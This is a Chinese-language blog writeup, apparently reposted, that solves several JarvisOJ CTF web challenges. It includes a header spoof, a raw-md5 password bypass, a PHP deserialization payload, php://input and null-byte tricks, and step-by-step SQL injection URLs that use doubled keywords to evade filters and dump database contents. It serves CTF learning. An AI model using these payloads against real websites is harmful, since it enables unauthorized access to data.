JarvisOJ平台Web题部分writeup

Posted hell0_w

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了JarvisOJ平台Web题部分writeup相关的知识,希望对你有一定的参考价值。

PORT51

题目链接:http://web.jarvisoj.com:32770/

这道题本来以为是访问服务器的51号端口,但是想想又不太对,应该是本地的51号端口访问服务器

想着用linux下的curl命令指定本地端口

curl --local-port 51 http://web.jarvisoj.com:32770/

测试过程中在虚拟机没成功,于是在windows下用本地端口访问,成功

windows下curl下载地址https://curl.haxx.se/download.html,选择windows版本即可

 

LOCALHOST

题目入口:http://web.jarvisoj.com:32774/

修改http头中的X-Forwarded-For即可

得到flag

 

Login

需要密码才能获得flag哦。

题目链接:http://web.jarvisoj.com:32772/

是个输密码的文本框

以为是个sql注入,但是发现输入单引号什么并没有过滤或者报错,一直提示错误的密码

在headers中发现hint

 md5($pass,true)是个重点

百度上找到一篇文章,有详细介绍,输入ffifdyop即可得到flag

文章地址:http://www.freebuf.com/column/150063.html

 

神盾局的秘密

这里有个通向神盾局内部网络的秘密入口,你能通过漏洞发现神盾局的秘密吗?

题目入口:http://web.jarvisoj.com:32768/

<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>

发现有经base64编码后的文件名,猜测文件读取,先读取index.php内容,将文件名进行base64编码

view-source:http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw

<?php 
    require_once(\'shield.php\');
    $x = new Shield();
    isset($_GET[\'class\']) && $g = $_GET[\'class\'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

再读取shield.php的内容

view-source:http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = \'\') {
            $this -> file = $filename;
        }
        
        function readfile() {
            if (!empty($this->file) && stripos($this->file,\'..\')===FALSE  
            && stripos($this->file,\'/\')===FALSE && stripos($this->file,\'\\\\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
?>

最后再看看showimg.php的内容

<?php
    $f = $_GET[\'img\'];
    if (!empty($f)) {
        $f = base64_decode($f);
        if (stripos($f,\'..\')===FALSE && stripos($f,\'/\')===FALSE && stripos($f,\'\\\\\')===FALSE
        && stripos($f,\'pctf\')===FALSE) {
            readfile($f);
        } else {
            echo "File not found!";
        }
    }
?>

综合分析,题目过滤了".."、"/"、"\\\\","pctf"

最后是要将实例进行序列化,最后在index.php提交序列化后的内容

序列化测试代码:

<?php
class Shield {
        public $file;
        function __construct($filename = \'pctf.php\') {
            $this -> file = $filename;
        }
}
$str = new Shield();
echo serialize($str);
?>

将pctf.php传入参数$filename

序列化后的结果:

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

在index.php页面提交即可

 

IN A Mess

代码审计,题目给的代码没有格式,我简单的整理了下

<?php
if(!$_GET[\'id\']) 
{ 
    header(\'Location: index.php?id=1\'); 
    exit(); 
} 
$id=$_GET[\'id\']; 
$a=$_GET[\'a\']; 
$b=$_GET[\'b\']; 
if(stripos($a,\'.\')) 
{ 
    echo \'Hahahahahaha\'; return ; 
} 
$data = @file_get_contents($a,\'r\'); 
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4) 
{ 
    require("flag.txt"); 
} 
else 
{ 
    print "work harder!harder!harder!"; 
} 
?>

ctf-实验平台上有类似的一道题

id可以用字母绕过,a用伪协议php://input,b用%00截断就好了

http://web.jarvisoj.com:32780/index.php?id=a&a=php://input&b=%00122111

post内容:"1112 is a nice lab!"

得到下一关的地址

Come ON!!! {/^HT2mCpcvOLf}

sql绕过

//查显示位:得到3
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,3#
//暴库:得到test
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(schema_name)/*111*/frfromom/*111*/information_schema.schemata#
//爆表:得到content
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(table_name)/*111*/frfromom/*111*/information_schema.tables/*111*/where/*111*/table_schema=0x74657374
//爆字段:得到id,context,title
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(column_name)/*111*/frfromom/*111*/information_schema.columns/*111*/where/*111*/table_name=0x636f6e74656e74
//爆内容:
http://web.jarvisoj.com:32780/^HT2mCpcvOLf/index.php?id=0/*111*/ununionion/*111*/seselectlect/*111*/1,2,group_concat(context)/*111*/frfromom/*111*/test.content#

最后得到flag

 

本文固定地址:http://www.cnblogs.com/hell0w/p/7909488.html

以上是关于JarvisOJ平台Web题部分writeup的主要内容,如果未能解决你的问题,请参考以下文章

php序列化与反序列化

Writeup - CTF-练习平台(123.206.31.85)

MOCTF web writeup

Jarvis OJ - 爬楼梯 -Writeup

bugkuct部分writeup 持续更新

南邮CTF - Writeup